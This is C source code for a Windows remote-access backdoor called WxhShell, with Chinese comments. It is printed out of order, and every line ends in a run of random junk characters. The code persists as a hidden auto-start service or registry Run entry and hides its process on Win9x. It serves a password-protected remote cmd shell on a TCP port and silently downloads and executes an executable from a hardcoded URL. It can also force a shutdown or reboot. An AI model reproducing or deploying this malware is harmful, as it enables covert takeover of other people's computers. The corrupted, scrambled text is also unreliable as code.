  case 'd': { (w% hz']  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c uquA ~  
    if(Boot(SHUTDOWN)) ^LT9t2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +.HQ+`8z]  
    else { m= fmf(  
    closesocket(wsh); W9V%Xc`LQ  
    ExitThread(0); AJ:@c7:eS  
    } $b$r,mc  
    break; yZFv pw|g  
    } tQJ@//C\z  
  // 获取shell +.\JYH=yEr  
  case 's': { v-[|7Pg}Z  
    CmdShell(wsh); \{+7`4g  
    closesocket(wsh); m$hSL4 N  
    ExitThread(0); :yk Z7X&  
    break; i`8!Vm  
  } :eQx di'  
  // 退出 3g2t{ %  
  case 'x': { ZLKS4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <WBGPzVZE  
    CloseIt(wsh); YQX>)'  
    break; D?5W1m]E,s  
    } o(~JZi k  
  // 离开 hY'"^?OP  
  case 'q': { dt3Vy*zL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9i|6  
    closesocket(wsh); 0#*\o1r\p  
    WSACleanup(); on&N=TN  
    exit(1); 2#W%--  
    break; a9jY^E'|n  
        } rzaEVXbz1  
  } web&M!-  
  } bJB:]vs$  
_TQt!Re`,  
  // 提示信息 ~?b(2gn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YBS]JCO  
} x5`q)!<&  
  } *bRH,u  
o~>p=5t  
  return; 8@+YcN;->  
} "?qu(}|  
5-mJj&0:!  
// shell模块句柄 x=au.@psBS  
int CmdShell(SOCKET sock) V`fh,(:  
{ J;_JH lK  
STARTUPINFO si; nVyb B~.=  
ZeroMemory(&si,sizeof(si)); 9'5,V{pj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `8'T*KU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ha C?,  
PROCESS_INFORMATION ProcessInfo; B~PF<8h5  
char cmdline[]="cmd"; 053W2Si   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H#Og0gEE}5  
  return 0; V">Uh@[J_  
} `XWxC:j3%  
bh7 1Zu  
// 自身启动模式 & vLX  
int StartFromService(void) 3?5 ~KxOE(  
{ (J^ Tss  
typedef struct o!\O)  
{ ]B,S<*h  
  DWORD ExitStatus; ? ! 1uw  
  DWORD PebBaseAddress; F~l3?3ZV  
  DWORD AffinityMask; ?ST}0F00}  
  DWORD BasePriority; [#R%jLEJ2  
  ULONG UniqueProcessId; :sPku<1is  
  ULONG InheritedFromUniqueProcessId; <RhKlCP  
}   PROCESS_BASIC_INFORMATION; i*U\~CZjT  
VJR'B={h  
PROCNTQSIP NtQueryInformationProcess; s9E:6  
WVN Q}KY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }=GyBnXu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iPFYG  
BEI/OGp  
  HANDLE             hProcess; #JLDj(a?  
  PROCESS_BASIC_INFORMATION pbi; v"F0$c  
{YGz=5^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?Y hua9  
  if(NULL == hInst ) return 0; 3mm`8!R  
IYQYW.`ly  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Dh9-~}sW'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wyc,Ir  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q90S>c,  
EhD|\WLx!  
  if (!NtQueryInformationProcess) return 0; 2Qy!Aa  
&% *S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MW4dPoa  
  if(!hProcess) return 0; PZ ogN  
93!a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X  ]a>  
.y\HQ^j  
  CloseHandle(hProcess); Maa.>2v<  
rL,)Tc|"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _N-7H\hF  
if(hProcess==NULL) return 0; v;RQVH;,  
Kq S2  
HMODULE hMod; h ?ia4t  
char procName[255]; +I Ze`M%n  
unsigned long cbNeeded; -y\N9  
eLC&f}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bs1-UI}+  
=)zq %d?i;  
  CloseHandle(hProcess); _+Q$h4t   
Asn0&Ys4  
if(strstr(procName,"services")) return 1; // 以服务启动 H]!y |p  
9nG] .@ H  
  return 0; // 注册表启动 $>h#|?*?  
} %&] }P;&  
~lF lv+,%  
// 主模块 | 5L1\O8#  
int StartWxhshell(LPSTR lpCmdLine) gP`!MlY@  
{ Q./ lX:  
  SOCKET wsl; $@Ay0GEI"  
BOOL val=TRUE; `-/l$A} U  
  int port=0; (jm.vL&5j  
  struct sockaddr_in door; ILO+=xU  
LQh\j|e9  
  if(wscfg.ws_autoins) Install(); F d\XDc[g  
V?O%kd  
port=atoi(lpCmdLine); o6y,M!p@  
bK].qN  
if(port<=0) port=wscfg.ws_port; 7 IHD?pnZ  
NSgHO`gU8  
  WSADATA data; ( Lu.^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >C-_Zv<!T\  
c==Oio("  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *3ne(c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L|2COX  
  door.sin_family = AF_INET; QlS5B.h,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x ?V/3zW  
  door.sin_port = htons(port); nfJ8Rt   
k41la?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "~(&5M\8`  
closesocket(wsl); vW{cB y  
return 1; d=#p w*w  
} ^i8I 1@ =  
#w*pWD^  
  if(listen(wsl,2) == INVALID_SOCKET) { lQsQRp  
closesocket(wsl); B![5+  
return 1; 'iVo,m[yKU  
} BH-[q9pf  
  Wxhshell(wsl); 0o<q Eo^  
  WSACleanup(); 5i/E=D  
-PnC^r0L$  
return 0; HEuM"2{DMM  
*3/7wSV:  
} Hr+-ndH!Pq  
VBX# !K1Q  
// 以NT服务方式启动 r$#G%FMv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 46zaxcY<!  
{ {IMzR'PN  
DWORD   status = 0; 0lRH Yu  
  DWORD   specificError = 0xfffffff; Z8&C-yCC  
sv;zvEn;-L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZW?7g+P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UTTC:=F+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FqTkUWd,#  
  serviceStatus.dwWin32ExitCode     = 0; Wv0'?NL.  
  serviceStatus.dwServiceSpecificExitCode = 0; SznE:+  
  serviceStatus.dwCheckPoint       = 0; L, {rMLM%  
  serviceStatus.dwWaitHint       = 0; |%}s$*s  
+^J-'7Vt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _onp%*  
  if (hServiceStatusHandle==0) return; p0rwiBC=q  
@1F'V'  
status = GetLastError(); >$mSF Jz5S  
  if (status!=NO_ERROR) Q@2tT&eL  
{ _=L;`~=C9e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \u]CD}/  
    serviceStatus.dwCheckPoint       = 0; lkfFAwnc  
    serviceStatus.dwWaitHint       = 0; k,7+=.6  
    serviceStatus.dwWin32ExitCode     = status; 5ZA%,pH>Jq  
    serviceStatus.dwServiceSpecificExitCode = specificError; PEBFN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q~J oGTv  
    return; z}1xy+  
  } }o^A^  
g&4~nEp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z/KZ[qH\  
  serviceStatus.dwCheckPoint       = 0; j#e.rNG  
  serviceStatus.dwWaitHint       = 0; #eC;3Kq#-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z) Xs;7  
} B Z?W>'B%$  
aEDN]O95?  
// 处理NT服务事件,比如:启动、停止 zcB 2[eaV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b.4Xn0-M  
{ \5P.C  
switch(fdwControl) #Q3PzDfj  
{ RW 7oL:$dt  
case SERVICE_CONTROL_STOP: c[ ony:6  
  serviceStatus.dwWin32ExitCode = 0; =$8@JF'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [S]!+YBK  
  serviceStatus.dwCheckPoint   = 0; d=Do@) m|  
  serviceStatus.dwWaitHint     = 0; cIr1"5POXK  
  { wz+5 8(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d_C4B  
  } t;!]z-Y>  
  return; h)_Gxe"x  
case SERVICE_CONTROL_PAUSE: sJb)HQ,7x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DAnb.0  
  break; [tqO}D  
case SERVICE_CONTROL_CONTINUE: jRG\C=&(x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $W$# CTM  
  break; ZB[(Tv1  
case SERVICE_CONTROL_INTERROGATE: T@|l@xm~L  
  break; 9>Uq$B  
}; (s"iC:D6U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ao":9r[V  
} )M'UASB;8  
~" 0@u  
// 标准应用程序主函数 m*!f%}T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4C1FPrh  
{ k=7Gr;;l=p  
C,r`I/;  
// 获取操作系统版本 h4anr7g{  
OsIsNt=GetOsVer(); R|1xXDLm*E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0HR|aqPo  
ck+b/.gw`  
  // 从命令行安装 qon{ g  
  if(strpbrk(lpCmdLine,"iI")) Install(); L"foL  
C4{\@v}t  
  // 下载执行文件 ISS\uj63M  
if(wscfg.ws_downexe) { s8_aL)@f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |= cCv_y  
  WinExec(wscfg.ws_filenam,SW_HIDE); z Bt`L,^  
} :,kU#eZ$-  
Vf 0fT?/K  
if(!OsIsNt) { n}A?jOSAe  
// 如果时win9x,隐藏进程并且设置为注册表启动 xHB/]Vd-  
HideProc(); o-~~,n\  
StartWxhshell(lpCmdLine); 8PBU~mr  
} r!$'!lCR  
else 9k:W1wgH1  
  if(StartFromService()) /zG +]  
  // 以服务方式启动 f<89$/w  
  StartServiceCtrlDispatcher(DispatchTable); ^Cg^ `n?@b  
else e3eVvl5]  
  // 普通方式启动 ejklpa ./  
  StartWxhshell(lpCmdLine); $(gGoL<  
fpvvV(  
return 0; Ad;S=h8:  
} |mxNUo-  
S<nP80C  
:p<kQ4   
X0WNpt&h  
=========================================== PW%1xHLfk  
b,sGq  
wmo{YS3t|  
2@ 9pr  
W|dpFh`  
qO-C%p [5  
" MBB5wj  
r219M)D?  
#include <stdio.h> ZBX  
#include <string.h> 0e+W/Tq  
#include <windows.h> >5;N64]!)  
#include <winsock2.h> Y{Da+  
#include <winsvc.h> e&QS#k  
#include <urlmon.h> z2w;oM$g  
'y9*uT~  
#pragma comment (lib, "Ws2_32.lib") \sK:W|yy  
#pragma comment (lib, "urlmon.lib") wE$s'e  
F7{R~mS;  
#define MAX_USER   100 // 最大客户端连接数 c>ad0xce6  
#define BUF_SOCK   200 // sock buffer 1")FWN_K/T  
#define KEY_BUFF   255 // 输入 buffer p9-0?(]  
M8';%  =@  
#define REBOOT     0   // 重启 G#H9g PY  
#define SHUTDOWN   1   // 关机 bD35JG^&i  
RF_[?O)Q  
#define DEF_PORT   5000 // 监听端口 W+gpr|R2  
4xm&pQo{V6  
#define REG_LEN     16   // 注册表键长度 '>3`rsu  
#define SVC_LEN     80   // NT服务名长度 =}JBA>q(  
k-"<{V  
// 从dll定义API \M5P+Wk '  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); __!m*!sd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y@Y`gF6F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ic'Q5kfM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R]u (l+`  
XHxz @_rw  
// wxhshell配置信息 90~*dNk  
struct WSCFG { -~ 0] 7Cpl  
  int ws_port;         // 监听端口 {6'*Phw  
  char ws_passstr[REG_LEN]; // 口令 W`$[j0  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0 y< k][  
  char ws_regname[REG_LEN]; // 注册表键名 .f>,6?   
  char ws_svcname[REG_LEN]; // 服务名 Dg~ [#C-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .nEs:yn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Is13:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nv"G;W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p8=|5.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qyz>ZPu}sz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0[/vQ+O]2  
-kl;!:'.3  
}; 14  H'!$  
nbGoJC:U  
// default Wxhshell configuration 6xHi\L  
struct WSCFG wscfg={DEF_PORT, R2w`Y5#`  
    "xuhuanlingzhe", 2F1ZAl  
    1, *Bs^NU.  
    "Wxhshell", #vQ?  
    "Wxhshell", P@gt di(Q  
            "WxhShell Service", Ep mJWbU  
    "Wrsky Windows CmdShell Service", +Hj/0pp  
    "Please Input Your Password: ", jYWw.g<  
  1, xO7Yt l  
  "http://www.wrsky.com/wxhshell.exe", iK!dr1:wSw  
  "Wxhshell.exe" KmQ^?Ad- C  
    }; 9? 2  
lUv=7" [  
// 消息定义模块 1}!L][(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P-'_}*wxi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "cMNdR1^,y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /7gi/uh~-(  
char *msg_ws_ext="\n\rExit."; S[mM4et|  
char *msg_ws_end="\n\rQuit."; vZ@g@zB4o0  
char *msg_ws_boot="\n\rReboot..."; |3;(~a)%  
char *msg_ws_poff="\n\rShutdown..."; p<KIF>rf|  
char *msg_ws_down="\n\rSave to "; Ky kSFB  
xc;DdK=1X  
char *msg_ws_err="\n\rErr!"; M)JADX  
char *msg_ws_ok="\n\rOK!"; +I5 2EXo  
rB%y6P B  
char ExeFile[MAX_PATH]; |SQ|qbe=  
int nUser = 0;  H4:ZTl_$  
HANDLE handles[MAX_USER]; QR"bYQ  
int OsIsNt; 6NX3"i0 eT  
_ h9o@  
SERVICE_STATUS       serviceStatus; ',ZF5T5z@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ; 0ko@ \Lq  
%/T7Z; d  
// 函数声明 oG_C?(7>  
int Install(void); QU T"z'  
int Uninstall(void); O*G1 QX  
int DownloadFile(char *sURL, SOCKET wsh); ]p]UTCo!'  
int Boot(int flag); Hx %$ X  
void HideProc(void); ?TpUf  
int GetOsVer(void); #Fs|f3-@  
int Wxhshell(SOCKET wsl); & [_ZXVva~  
void TalkWithClient(void *cs); P~RhUKfd  
int CmdShell(SOCKET sock); -7%X]  
int StartFromService(void); yNa;\UF  
int StartWxhshell(LPSTR lpCmdLine); ff E#^|  
GK?4@<fY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .9h)bf+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5G(E&>~  
t> . Fl-  
// 数据结构和表定义 3b!,D  
SERVICE_TABLE_ENTRY DispatchTable[] = gnLn7?  
{ 40#9]=;}  
{wscfg.ws_svcname, NTServiceMain}, SEM8`lnu  
{NULL, NULL} C\Vg{&'  
}; [2 zt ^  
6~8F!b2  
// 自我安装 eLfvMPVo  
int Install(void) JA^v  
{ *1^$.Q&  
  char svExeFile[MAX_PATH]; -M4p\6)Ge  
  HKEY key; ``|AgIg  
  strcpy(svExeFile,ExeFile); 6/tI8H3E  
dE5D3ze  
// 如果是win9x系统,修改注册表设为自启动 >xg5z  
if(!OsIsNt) { uzBz}<M=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?j{C*|yHO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NfzF.{nh  
  RegCloseKey(key); =o^|bih  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WeMAe w/d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R7?29?$7  
  RegCloseKey(key); A:# k  
  return 0; DBsDk kB{  
    } gfy19c 9  
  } j6g@tx^)'  
}  8=;k"  
else { 'bu)M1OLi  
OH6^GPF6  
// 如果是NT以上系统,安装为系统服务 &@v<nO-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t'1Y@e  
if (schSCManager!=0) YF[f Z  
{ p &(OZJT  
  SC_HANDLE schService = CreateService N|:'XwL  
  ( qpp/8M  
  schSCManager, M\D]ml~  
  wscfg.ws_svcname, ;inzyFbL=  
  wscfg.ws_svcdisp, p_2pU)%  
  SERVICE_ALL_ACCESS, DWiBG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2oVV'9;B  
  SERVICE_AUTO_START, DN8}gl VxV  
  SERVICE_ERROR_NORMAL, ~i0R^qfr  
  svExeFile, \9{F5S z  
  NULL, 6GL=)0Ah  
  NULL, T!2=*~A  
  NULL, 3 hKBc0  
  NULL, }< 5F  
  NULL kc$)^E7  
  ); +wO#'D  
  if (schService!=0) pz|'l:v^  
  { E JK0  
  CloseServiceHandle(schService); TNwK da+  
  CloseServiceHandle(schSCManager); p(JlvJjo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c EnkU]  
  strcat(svExeFile,wscfg.ws_svcname); FjFMR 63  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BR5BJX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LT@OWH  
  RegCloseKey(key); 1X1 N tS @  
  return 0; Pm{*.AW1  
    } T*[ VY1  
  } uJU*")\V  
  CloseServiceHandle(schSCManager); ,!#ccv+Vm%  
} Q<(YP.k  
} e Y$qV}  
Uh6 '$0  
return 1; &^".2)zU  
} O;9?(:_  
ExBUpDQc  
// 自我卸载 u1^wDc*xg  
int Uninstall(void) {QAv~S>4  
{ 2 QTZwx  
  HKEY key; wBSQ:f]g  
3gZ8.8q3  
if(!OsIsNt) { 3_$w| ET  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jXg  
  RegDeleteValue(key,wscfg.ws_regname); BJ}D%nm}  
  RegCloseKey(key); Orn0Zpp<z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]T:;Vo  
  RegDeleteValue(key,wscfg.ws_regname); f9u^R=Ff[  
  RegCloseKey(key); hT g<*  
  return 0; `# P$ ]:  
  } S>Yj@L  
} S$q =;"  
} 'tgKe!-@  
else { hqvE!Of  
_fk#<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &53]sFZ  
if (schSCManager!=0) 3VO2,PCZ  
{ G6 0S|d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YwEpy(}hJm  
  if (schService!=0) %ysZ5:X  
  { CY:d`4  
  if(DeleteService(schService)!=0) { ~uWOdm-"[  
  CloseServiceHandle(schService); 13k !'P  
  CloseServiceHandle(schSCManager); !^oV #  
  return 0; kOwMs<1J  
  } g=L]S-e  
  CloseServiceHandle(schService); 56lCwXCgA  
  } YY((#"o;l  
  CloseServiceHandle(schSCManager); D/ybFk  
} [lzN !!B!  
} op2Of<{h  
F9"w6;hh  
return 1; Ex amD">T  
} Uu s.  
B!]2Se2G  
// 从指定url下载文件 /6uT6G+(z}  
int DownloadFile(char *sURL, SOCKET wsh) "I6P=]|b  
{ /*FH:T<V  
  HRESULT hr; uA t V".  
char seps[]= "/"; d[^KL;b?6  
char *token; z4%uN |V  
char *file; ipnV$!z  
char myURL[MAX_PATH]; HAzBy\M{  
char myFILE[MAX_PATH]; |077Sf|  
3rW|kkn  
strcpy(myURL,sURL); 'NjzgZ~]P  
  token=strtok(myURL,seps); 7,qYV}  
  while(token!=NULL) E51dV:l  
  { }_/Hdmmx  
    file=token; q%n6K  
  token=strtok(NULL,seps);  .~A*=  
  } GYxM0~:$k  
8H,4kY?Z  
GetCurrentDirectory(MAX_PATH,myFILE); ]B"'}%>ez  
strcat(myFILE, "\\"); jdZ~z#`(!:  
strcat(myFILE, file); !)"%),>}o  
  send(wsh,myFILE,strlen(myFILE),0); RcG0 8p.)  
send(wsh,"...",3,0); -H^oXeN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mYN7kYR}<`  
  if(hr==S_OK) <#=N m0S$  
return 0; - Xu.1S  
else z<sg0K8z63  
return 1; QZp6YSz.4  
_/8FRkx  
} :bV mgLgG  
EF7+ *Q9  
// 系统电源模块 S1 Z2_V  
int Boot(int flag) kE>0M9EdH  
{ omO S=d!o  
  HANDLE hToken; FuG4F  
  TOKEN_PRIVILEGES tkp; .;y#  
'FlJpA}  
  if(OsIsNt) { 6=4wp?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); El_wdbbT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H&1[n U{?>  
    tkp.PrivilegeCount = 1; 4 %PfrJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ORGD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >z;[2 n'  
if(flag==REBOOT) { AqK z$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w\54j)rb  
  return 0; P./V6i<:  
} S= R7`a<.5  
else { +;$oJJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ](tx<3h  
  return 0; +a&p$\  
} /kL $4CA  
  } 5$DHn ]  
  else { Tus}\0/i>  
if(flag==REBOOT) { |b-9b&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `p;eIt  
  return 0; M;cO0UIwO  
} D']ZlB 'K  
else { bwVPtu`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j?y LDLj  
  return 0; 5>3}_  
} d(vsE%/!  
} 5w%_$x  
=U8a ?0  
return 1; {Q+gZcu  
} sw A+f   
Hsih[f  
// win9x进程隐藏模块 QK0 h6CX  
void HideProc(void) Nx{$}  
{ ju}fL<<e  
<VD8bTk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;^*Unyt[4]  
  if ( hKernel != NULL ) 4h@Z/G!T3  
  { /9o!*K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JnHo9K2.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !d<"nx[2`  
    FreeLibrary(hKernel); k(zsm"<q  
  } ?9l [y  
$0bjKy  
return; 6KD `oUx  
} -':Y\:W  
Hzrtlet  
// 获取操作系统版本 [: xiZ  
int GetOsVer(void) ~m|Mg9-  
{ >=]'hyn]]  
  OSVERSIONINFO winfo; f;/QJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [V4{c@  
  GetVersionEx(&winfo); * ),8PoT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OB[o2G<0  
  return 1; kYzC#.|1  
  else SyAvKd`g  
  return 0; /C/id)h>  
} '9c2Q/  
jiF?fX@  
// 客户端句柄模块 U4 13?Pe  
int Wxhshell(SOCKET wsl) 'J,T{s1J  
{ IbcZ@'RSw  
  SOCKET wsh; >^Se'SE]  
  struct sockaddr_in client; Hm+ODv9  
  DWORD myID; )c l5B{1P  
Zy|Mz&  
  while(nUser<MAX_USER) sp@E8G%xO  
{ "NgoaG~!YO  
  int nSize=sizeof(client); PrudhUI^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); : tWU .f#  
  if(wsh==INVALID_SOCKET) return 1; MxyN\Mq'  
J8Yd1.Qj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); spasB=E  
if(handles[nUser]==0) A 'G@uD@3  
  closesocket(wsh); l>Ub!^;  
else )lJao  
  nUser++; F)z;Z6{t4  
  } ^$&k5e/}C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rDm'Z>nTf  
jy]JiQ B  
  return 0; `DT3x{}_S  
} Bi@&nAhn@  
4t)%<4  
// 关闭 socket %pXAeeSY`;  
void CloseIt(SOCKET wsh) {O|'U'  
{ {EdH$l>94  
closesocket(wsh); $T :un.TM  
nUser--; g;ZxvR)ZJk  
ExitThread(0); ICAH G7,  
} Me6+~"am/  
.S(,o.  
// 客户端请求句柄 ~+Z{Q25R  
void TalkWithClient(void *cs) 1heS*Fwn'  
{ lg047K   
lV.F,3  
  SOCKET wsh=(SOCKET)cs; Ela-,(Glk  
  char pwd[SVC_LEN]; @iEA:?9uX  
  char cmd[KEY_BUFF]; &Q}*+Y]G  
char chr[1]; Xn~I=Ml d  
int i,j; $.Q$`/dF  
zni)<fmju  
  while (nUser < MAX_USER) { rp5(pV 7*  
 BUwONF  
if(wscfg.ws_passstr) { RxMH!^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o[H{(f 1%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :SxW.?[%u  
  //ZeroMemory(pwd,KEY_BUFF); ;/j= Ny{9  
      i=0; [!%![E  
  while(i<SVC_LEN) { 8EVgoJ.  
BL 3gKx.'  
  // 设置超时 a,78l@d(  
  fd_set FdRead; TNQP" 9[?  
  struct timeval TimeOut; s}pIk.4ot!  
  FD_ZERO(&FdRead); D1nq2GwS  
  FD_SET(wsh,&FdRead); uUKcB:  
  TimeOut.tv_sec=8; v=('{/^~>  
  TimeOut.tv_usec=0; 8p-=&cuo\@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H5D*|42  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -48vJR*tC  
vP+@z-O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n]dL?BJ  
  pwd=chr[0]; pH`44KAuM  
  if(chr[0]==0xd || chr[0]==0xa) { p _d:eZ  
  pwd=0; P,sjo u^  
  break; j[Uxa   
  } 7<H |QL&  
  i++; LHJ":^  
    } ~Y.tz`2D  
=V"(AuCVE  
  // 如果是非法用户,关闭 socket t'm;:J1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Gn;@{x6  
} &CwFdx:Ff  
r=c<--_@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N25V ]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;;A2!w{}[i  
e L.(p k^<  
while(1) { s|y:UgD  
b*ef);  
  ZeroMemory(cmd,KEY_BUFF); ':R,53tjl  
7mm1P9Z  
      // 自动支持客户端 telnet标准   f-n z{U  
  j=0; Y'e eA 2O  
  while(j<KEY_BUFF) { \p%3vRwS%p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sZ?mP;Q  
  cmd[j]=chr[0]; @,XSs  
  if(chr[0]==0xa || chr[0]==0xd) { 2 1PFR:lP7  
  cmd[j]=0; ![f ![l  
  break; /t-fjB{=G  
  } vd6l7"0/  
  j++; vf4{$Oag  
    } Q]o C47(  
ItVugI(^ C  
  // 下载文件 $H$j-)\D  
  if(strstr(cmd,"http://")) { -|rLs$V1r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !;_H$r0  
  if(DownloadFile(cmd,wsh)) `yF`x8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !z{-?o/  
  else z4E|Ai  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); id?h>g  
  } ,ZS6jZ  
